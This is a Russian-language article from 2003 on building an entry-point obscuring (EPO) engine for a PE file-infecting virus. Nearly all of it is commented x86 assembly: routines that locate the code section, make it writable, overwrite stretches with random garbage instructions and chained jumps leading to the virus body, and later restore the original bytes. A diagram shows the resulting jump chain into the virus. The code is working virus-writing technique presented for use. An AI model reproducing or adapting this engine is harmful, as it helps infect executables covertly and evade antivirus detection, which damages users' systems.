SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; find_code: ; Подпрограмма поиска начала ; кода mov esi,[ebp+PE_header] ; Кладём в esi указатель ; На PE заголовок mov ebx,[esi + 74h] ; shl ebx,3 ; Получаем xor eax,eax ; mov ax,word ptr [esi + 6h] ; Количество объектов find2: mov esi,edi ; dec eax ; push eax ; (нам нужен последний-1 mov ecx,28h ; заголовок секции) mul ecx ; * размер заголовка add esi,78h ; теперь esi указывает на add esi,ebx ; начало последнего ; заголовка add esi,eax ; секции mov eax,[ebp+old_eip] ; В eax ложим точку входа mov edx,[esi+0ch] ; В edx адрес куда будет ; мапиться ; текущая секция cmp edx,eax ; Проверяем pop eax ; Вынимаем из стэка eax jg find2 ; Если больше ищем дальше add edx,[esi+08h] ; Добавляем виртуальный ; размер секци cmp edx,[ebp+old_eip] ; Проверяем jl find2 ; Если меньше ищем дальше mov edx,[esi+0ch] ; Далее вычисляем ; физическое mov eax,[ebp+old_eip] ; смещение кода в файле sub eax,edx ; add eax,[esi+14h] ; add eax,[ebp+map_address] ; И потом добавляем базу ; памяти mov [ebp+start_code],eax ; Сохраняем начало кода or [esi + 24h],00000020h or 20000000h or 80000000h ; Меняем аттрибуты ; кодовой секции mov eax,[esi+08] ; Вычисляем размер sub eax,[ebp+old_eip] ; той части кодовой секции, mov edx,[esi+10h] ; где можно размещать sub edx,eax ; пятна mov [ebp+size_for_spot],edx ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; spots: ; Подпрограмма генерации ; пятен mov ecx,1 ; Кладём в ecx единицу ; call reset ; Подготавливаем данные call num_spots ; Генерируем случайное число ; это будет кол-во пятен tred: call save_bytes ; Сохраняем затираемы байты call gen_spot ; Генерируем пятно inc ecx ; Увеличиваем ecx на единицу cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы jne tred ; Если нет, то генерируем call save_bytes ; Сохраняем последние байты call gen_final_spot ; И генерируем последнее ; пятно ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_spot: ; Подпрограмма генерации ; одного пятна push eax ecx ; Сохраняем eax и ecx call len_sp_jmp ; Получаем случайную длину xchg eax,ebx ; прыжка пятна call testing ; Проверяем, чтобы пятно jc quit2 ; не выходило за кодовую ; секцию push ebx xor bx,bx dec bx mov ecx,[ebp+num1] ; Генерируем первую партию call garbage ; мусора pop ebx mov al,0e9h ; stosb ; mov eax,0 ; Генерируем jmp add eax,ebx ; add eax,ecx ; stosd ; push ebx xor bx,bx dec bx mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусора pop ebx sub edi,[ebp+num2] ; add edi,[ebp+num1] ; Корректируем edi add edi,ebx ; quit2: pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LAST SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; gen_final_spot: ; Подпрограмма генерации ; финального пятна push eax ecx ; Сохраняем eax и ecx jc not_big ; Если длина не превышает inc [ebp+n_spots] ; размера кодовой секции, то not_big: ; Увеличим кол-во пятен mov ecx,[ebp+num1] ; Генерируем мусорные call garbage ; инструкции push edi ; Сохраняем edi sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a mov ebx,edi ; для последнего пятна pop edi ; Восстанавливаем edi mov al,0e9h ; stosb ; mov eax,0 ; sub eax,5 ; Генерируем финальное sub eax,ebx ; пятно add eax,[ebp+new_eip] ; sub eax,[ebp+old_eip] ; stosd ; mov ecx,[ebp+num2] ; Генерируем вторую партию call garbage ; мусорных инструкций pop ecx eax ; Восстанавливаем ecx и eax ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; ADDRESS OF SAVING BYTES -> EDI ; ; QUANTITY OF BYTES -> EBX ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; save_bytes: ; Подпрограмма сохранения ; заменяемых байт pusha ; Сохраняем всё в стэке call length1 ; Генерируем длины мусорных ; инструкций mov ebx,[ebp+num1] ; Помещаем в ebx первую add ebx,[ebp+num2] ; и вторую длины add ebx,5 ; Добавляем к ebx - 5 mov esi,edi ; Сохраняем в буфере с mov edi,[ebp+pointer] ; начала смещение в памяти mov eax,esi ; на сохраняемые байты stosd ; mov ecx,ebx ; После этого сохраняем в mov eax,ecx ; буфере кол-во сохраняемых stosd ; байт rep movsb ; И в самом конце сохраняем mov [ebp+pointer],edi ; в буфере сами байты ; popa ; Вынимаем всё из стэка ret ; Возврат из подпрограммы ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESTORE SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; OLD ENTRY POINT -> EBX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; restore: ; Подпрограмма ; восстановления сохранённых ; байт cld ; Поиск вперёд lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер mov edx,1 ; В edx кладём - 1 not_enough: mov edi,[ebp+old_eip] ; В edi загружаем точку add edi,[ebp+image_base] ; входа mov ebx,edi ; Сохраняем edi в ebx lodsd ; В eax старое смещение ; байт в памяти sub eax,[ebp+start_code] ; Отнимаем смещение начала ; кода и добавляем add edi,eax ; точку входа lodsd ; Загружаем в eax кол-во mov ecx,eax ; байт и кладём их в ecx rep movsb ; Перемещаем оригинальные ; байты на старое место inc edx ; Переходим к следующему cmp edx,[ebp+n_spots] ; пятну jl not_enough ; если не все пятна вернули, ; то восстанавливаем дальше quit: ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; LENGTH SPOT GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; length1: ; Подпрограмма генерации ; длин мусорных инструкций mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz length1 ; mov [ebp+num1],eax ; Сохраняем его в переменную rand2: mov eax,20 ; call brandom32 ; Генерируем случайное число test eax,eax ; в диапазоне 1..19 jz rand2 ; mov [ebp+num2],eax ; Сохраняем его в вторую ; переменную ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; RESET SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; reset: ; Подпрограмма инициализации ; переменных mov edi,[ebp+start_code] ; ; push esi ; Инициализируем переменные lea esi,[ebp+rest_bytes] ; mov [ebp+pointer],esi ; pop esi ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOT JUMP LENGTH GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; LENGTH OF SPOT JUMP -> EAX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; len_sp_jmp: ; Подпрограмма генерации ; длины прыжка mov eax,150 ; call brandom32 ; Генерируем случайное число cmp eax,45 ; в диапазоне 45..149 jle len_sp_jmp ; ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; SPOTS NUMBER GENERATION SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; NO OUTPUT IN SUBROUTINE ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; num_spots: ; Подпрограмма генерации ; количества пятен pusha ; Сохраняем всё в стэке mov eax,40 ; Генерируем случайное число call brandom32 ; в диапазоне 1..40 inc eax ; И сохраняем его в mov [ebp+n_spots],eax ; переменной popa ; Вынимаем всё из стэка ret ; Возврат из процедуры ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; TESTING SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; CARRY FLAG ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; testing: ; Подпрограмма проверки ; попадения в границу секции push edi eax ; Сохраняем edi eax в стэке add edi,[ebp+num1] ; Добавим к edi 1-ую длину ; мусорных инструкций add edi,[ebp+num2] ; После этого добавим 2-ую add edi,300 ; И добавим число в которое ; входит максимальный размер ; пятна + длина его прыжка mov eax,[ebp+size_for_spot] ; В eax загрузим размер ; места для пятен и смещение add eax,[ebp+start_code] ; в памяти точки входа cmp edi,eax ; Сравним eax и edi clc ; Сбросим carry флаг jl m_space ; Если edi меньше, то все ; хорошо mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем inc [ebp+n_spots] ; количество пятен и stc ; устанавливаем carry флаг m_space: pop eax edi ; Вынимаем eax и edi ret ; Возврат из процедуры ;------------------------------------------------------------------------------; pointer dd 0 ; n_spots dd 0 ; ; num1 dd 0 ; num2 dd 0 ; ; Данные необходимые для PE_header dd 0 ; работы мотора old_eip dd 0 ; image_base dd 0 ; start_code dd 0 ; new_eip dd 0 ; map_address dd 0 ; size_for_spot dd 0 ; rest_bytes: db 2100 dup (?) ; ;------------------------------------------------------------------------------;В качестве параметра данному мотору передаётся адрес файла в памяти (MapViewOfFile). Для восстановления оригинальных байт используется подпрограмма restore. Данная подпрограмма в качестве результата возвращает адрес начала программы в регистре ebx.
Рассмотрим примерную схему работы мотора:
|------------------------------------------| | Заголовок программы | | (в нём указан адрес запуска программы) | |------------------------------------------| | ..... | | Здесь идут различные секции | | ..... | |------------|-----------------------------| | jmp spotN2 |-----| | |------------| | | | |--V---------| | | |--------| jmp spotN3 | | | | |------------| | |------V-----| | |-------| jmp virus | | | |------------| Кодовая секция | | |------------------------------------------| | | ..... | | | Здесь идут различные секции | | | ..... | | |------------------------------------------| |------>| ..... | | ВИРУС | | ..... | |------------------------------------------|Для чего может использоваться данный модуль? Данный модуль можно с большой эффективностью использовать при моделировании навесных защит исполнимого кода, помимо его прямого назаначения.
© Slon
Построение простого EPO мотора
Дата публикации 1 ноя 2003